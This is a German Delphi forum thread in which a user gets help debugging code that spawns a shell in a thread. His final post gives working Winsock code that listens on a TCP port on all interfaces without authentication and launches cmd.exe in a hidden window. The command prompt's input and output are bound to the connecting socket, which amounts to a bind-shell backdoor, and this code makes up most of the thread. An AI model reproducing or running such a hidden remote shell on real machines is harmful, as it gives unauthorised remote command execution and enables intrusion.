![]() |
shell in einem thread starten, schlägt fehl
Hoi, Ich versuche in einem Thread eine Shell zu erzeugen.
Delphi-Quellcode:
dort soll man denn via "telnet 127.0.0.1 99" eigentlich connecten könnenprogram Project1; {$APPTYPE CONSOLE} uses Windows, Winsock; var shellThreadID: DWORD; str: string; close: boolean; procedure CreateShell; var hSocket: PInteger; si: TStartupInfo; pi: TProcessInformation; begin hSocket := PInteger(99); ZeroMemory(@si, SizeOf(si)); si.cb := SizeOf(si); si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; si.wShowWindow := SW_HIDE; si.hStdInput := hSocket^; si.hStdOutput := hSocket^; si.hStdError := hSocket^; CreateProcess(nil, '', nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); Shutdown(hSocket^, SD_BOTH); CloseSocket(hSocket^); Dispose(hSocket); end; begin shellThreadID := 1191; //CreateThread(nil, 0, @CreateShell, nil, 0, shellThreadID); //auf quit warten close := false; while close = false do begin sleep(100); ReadLn(str); if str = 'quit' then close := true; end; end. nur schmiert das vorher ab mit einer Zugriffsverletzung. Was könnte an dem Code falsch sein? ;) |
Re: shell in einem thread starten, schlägt fehl
Erstens: Wo tritt der Fehler auf? (praktisch, wenn sowas mit erwähnt würde)
Ok, ich weiß schon Sleep, aber weißt du auch warum? Wärend Sleep wird der erstellte Thread ausgeführt und dort schlägt der Aufruf von CreateProcess fehl (liegt bestimmt an deinen "komischen" Parametern). Leg mal einen Haltepunkt auf den Beginn deiner Treadprozedur und schau was passiert. Dann wäre es gut, wenn du deiner Threadprozdur richtig defnierst :!: siehe ![]() zur StartupInfo (SI), was soll hSocket:=PInteger(99); darstellen? hmm 127.0.0.1 99, aber ob das so richtig ist :gruebel: [add]
Delphi-Quellcode:
ist auch nicht soooo korrekt.
... := hSocket^;
versuch doch für den Anfang erstmal einen direkten Aufruf, dann läßt es sich leicher Debuggen und plötlich fällt och der hSocket^-Fehler auf.
Delphi-Quellcode:
function CreateShell(lpParameter: LongWord): LongWord; StdCall;
var... begin ... end; begin //CreateThread(nil, 0, @CreateShell, nil, 0, shellThreadID); CreateShell(0); //auf quit warten repeat //sleep(100); ReadLn(str); until str = 'quit'; end. |
Re: shell in einem thread starten, schlägt fehl
Hallo
Zitat:
Bei Zitat:
|
Re: shell in einem thread starten, schlägt fehl
oh und noch etwas ...
Zitat:
|
Re: shell in einem thread starten, schlägt fehl
ok thx habs nun hinbekommen ;)
war nur das prob mit diesem PInteger |
Re: shell in einem thread starten, schlägt fehl
:gruebel:
Das dürfte nicht das einzige Problem gewesen sein. |
Re: shell in einem thread starten, schlägt fehl
joa da hatte noch bissl was gefehlt ;)
Delphi-Quellcode:
var WSAData: TWSAData; FDSet: TFDSet; SockAddrIn: TSockAddrIn; serverSocket: TSocket; Connected: PInteger; ThreadID: Cardinal; cmdLine: Array [0..MAX_PATH] of Char; shellPort: integer; shellThreadID: DWORD; str: string; close: boolean; hSocket: pinteger; function ShellThread(parameter: pointer): integer; var si: TStartupInfo; pi: TProcessInformation; begin hSocket := parameter; ZeroMemory(@si, SizeOf(si)); si.cb := SizeOf(si); si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; si.wShowWindow := SW_HIDE; si.hStdInput := hSocket^; si.hStdOutput := hSocket^; si.hStdError := hSocket^; CreateProcess(nil, cmdLine, nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); Shutdown(hSocket^, SD_BOTH); CloseSocket(hSocket^); Dispose(hSocket); Result := 0; end; function CreateShell( parameter: pointer): integer; StdCall; begin WSAStartUp(MakeWord(1, 1), WSAData); ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_addr.s_addr := INADDR_ANY; SockAddrIn.sin_port := htons(shellport); Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn)); Listen(ServerSocket, 1); GetEnvironmentVariable('Comspec', cmdLine, MAX_PATH); while True do begin FD_Zero(FDSet); FD_Set(ServerSocket, FDSet); Select(0, @FDSet, nil, nil, nil); if FD_IsSet(ServerSocket, FDSet) then begin New(Connected); Connected^ := Accept(ServerSocket, nil, nil); if Connected^ <> SOCKET_ERROR then BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID) else Break; end; end; WSACleanup; end; begin shellThreadID := 1234 shellPort := 123; CreateThread(nil, 0, @CreateShell, nil, 0, shellThreadID); close := false; while close = false do begin ReadLn(str); if str = 'quit' then close := true else if str ='killshell' then begin TerminateThread(ThreadID, 0); TerminateThread(shellThreadID, 0); TerminateProcess(ThreadID, 0); TerminateProcess(shellThreadID, 0); Shutdown(hSocket^, SD_BOTH); CloseSocket(hSocket^); Dispose(hSocket); end; end; die killshell methode is nen bissl unkonventionell glaub ich, weil das ganze prog dadurch mit gekillt wird ;) |
Alle Zeitangaben in WEZ +1. Es ist jetzt 00:12 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz